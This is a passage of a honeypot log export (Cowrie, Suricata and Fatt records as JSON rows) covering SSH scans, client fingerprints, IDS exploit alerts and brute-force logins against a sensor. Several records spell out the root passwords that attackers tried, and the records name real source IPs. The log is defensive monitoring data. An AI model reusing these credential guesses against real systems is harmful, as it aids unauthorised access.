".......{UB..#]\\n...hu.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34725	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:03:41.927423+03	2021-09-20 15:15:02.283548+03	{"_id": "tQYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:54482 (192.168.176.2:22) [session: 7277792a7957]", "session": "7277792a7957", "@version": "1", "protocol": "ssh", "src_port": 54482, "dest_port": 22, "timestamp": "2021-09-20T12:03:41.927423Z", "@timestamp": "2021-09-20T12:03:41.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BY
34726	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:03:42.290427+03	2021-09-20 15:15:02.284548+03	{"_id": "tgYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz-2wsx] failed", "session": "7277792a7957", "@version": "1", "password": "1qaz-2wsx", "username": "root", "timestamp": "2021-09-20T12:03:42.290427Z", "@timestamp": "2021-09-20T12:03:42.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BY
34727	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:03:41.985112+03	2021-09-20 15:15:02.28652+03	{"_id": "vQYXA3wBvYTbRNuELFdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:41.873587+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1515421104428147, "payload": "AAADzAYU51M64AkaeG0pf4erl80JTgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54482, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:41.985112Z", "@timestamp": "2021-09-20T12:03:41.985Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......S:...xm)......N...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BY
34751	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:37.91825+03	2021-09-20 15:15:02.319145+03	{"_id": "mwYXA3wBvYTbRNuEG1d_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "f30911e0da49", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:03:37.918250Z", "@timestamp": "2021-09-20T12:03:37.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34728	157.240.9.18	109.199.241.180	Suricata	2021-09-20 15:03:42.625904+03	2021-09-20 15:15:02.28752+03	{"_id": "ugYXA3wBvYTbRNuELFdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:42.583712+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 913578074761248, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 45658, "timestamp": "2021-09-20T12:03:42.625904Z", "@timestamp": "2021-09-20T12:03:42.625Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
34729	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:41.932759+03	2021-09-20 15:15:02.289548+03	{"_id": "vwYXA3wBvYTbRNuELVdK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54482, "timestamp": "2021-09-20T12:03:41.932759", "@timestamp": "2021-09-20T12:03:41.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34730	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:03:38.178214+03	2021-09-20 15:15:02.290551+03	{"_id": "nwYXA3wBvYTbRNuEHVen", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 33234, "dest_port": 22, "timestamp": "2021-09-20T12:03:38.178214", "@timestamp": "2021-09-20T12:03:38.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34731	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:39.619587+03	2021-09-20 15:15:02.291548+03	{"_id": "oAYXA3wBvYTbRNuEI1dR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/87654321] failed", "session": "f30911e0da49", "@version": "1", "password": "87654321", "username": "root", "timestamp": "2021-09-20T12:03:39.619587Z", "@timestamp": "2021-09-20T12:03:39.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34732	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:03:41.985732+03	2021-09-20 15:15:02.292519+03	{"_id": "uAYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7277792a7957", "@version": "1", "timestamp": "2021-09-20T12:03:41.985732Z", "@timestamp": "2021-09-20T12:03:41.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BY
34734	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:03:41.984636+03	2021-09-20 15:15:02.295047+03	{"_id": "uwYXA3wBvYTbRNuELFdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1515421104428147, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54482, "dest_port": 22, "timestamp": "2021-09-20T12:03:41.984636Z", "@timestamp": "2021-09-20T12:03:41.984Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BY
34735	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.53309+03	2021-09-20 15:15:02.29704+03	{"_id": "yQYXA3wBvYTbRNuEP1fM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.533090+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156691485282, "payload": "AcbGzQAIAAIAAAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:03:47.533090Z", "@timestamp": "2021-09-20T12:03:47.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
34736	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.595099+03	2021-09-20 15:15:02.298155+03	{"_id": "ygYXA3wBvYTbRNuEP1fM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.595099+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 1528091258328219, "payload": "YHgAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 52941, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:03:47.595099Z", "@timestamp": "2021-09-20T12:03:47.595Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "`x...........DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
34737	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.585959+03	2021-09-20 15:15:02.299144+03	{"_id": "ywYXA3wBvYTbRNuEP1fM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:47.585959Z", "@timestamp": "2021-09-20T12:03:47.585Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34738	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:03:48.196125+03	2021-09-20 15:15:02.300143+03	{"_id": "1AYXA3wBvYTbRNuEQleV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:36562 (192.168.176.2:22) [session: 36090962a7f1]", "session": "36090962a7f1", "@version": "1", "protocol": "ssh", "src_port": 36562, "dest_port": 22, "timestamp": "2021-09-20T12:03:48.196125Z", "@timestamp": "2021-09-20T12:03:48.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34740	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:03:35.648283+03	2021-09-20 15:15:02.303143+03	{"_id": "lgYXA3wBvYTbRNuEEFfj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:34.649507+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", 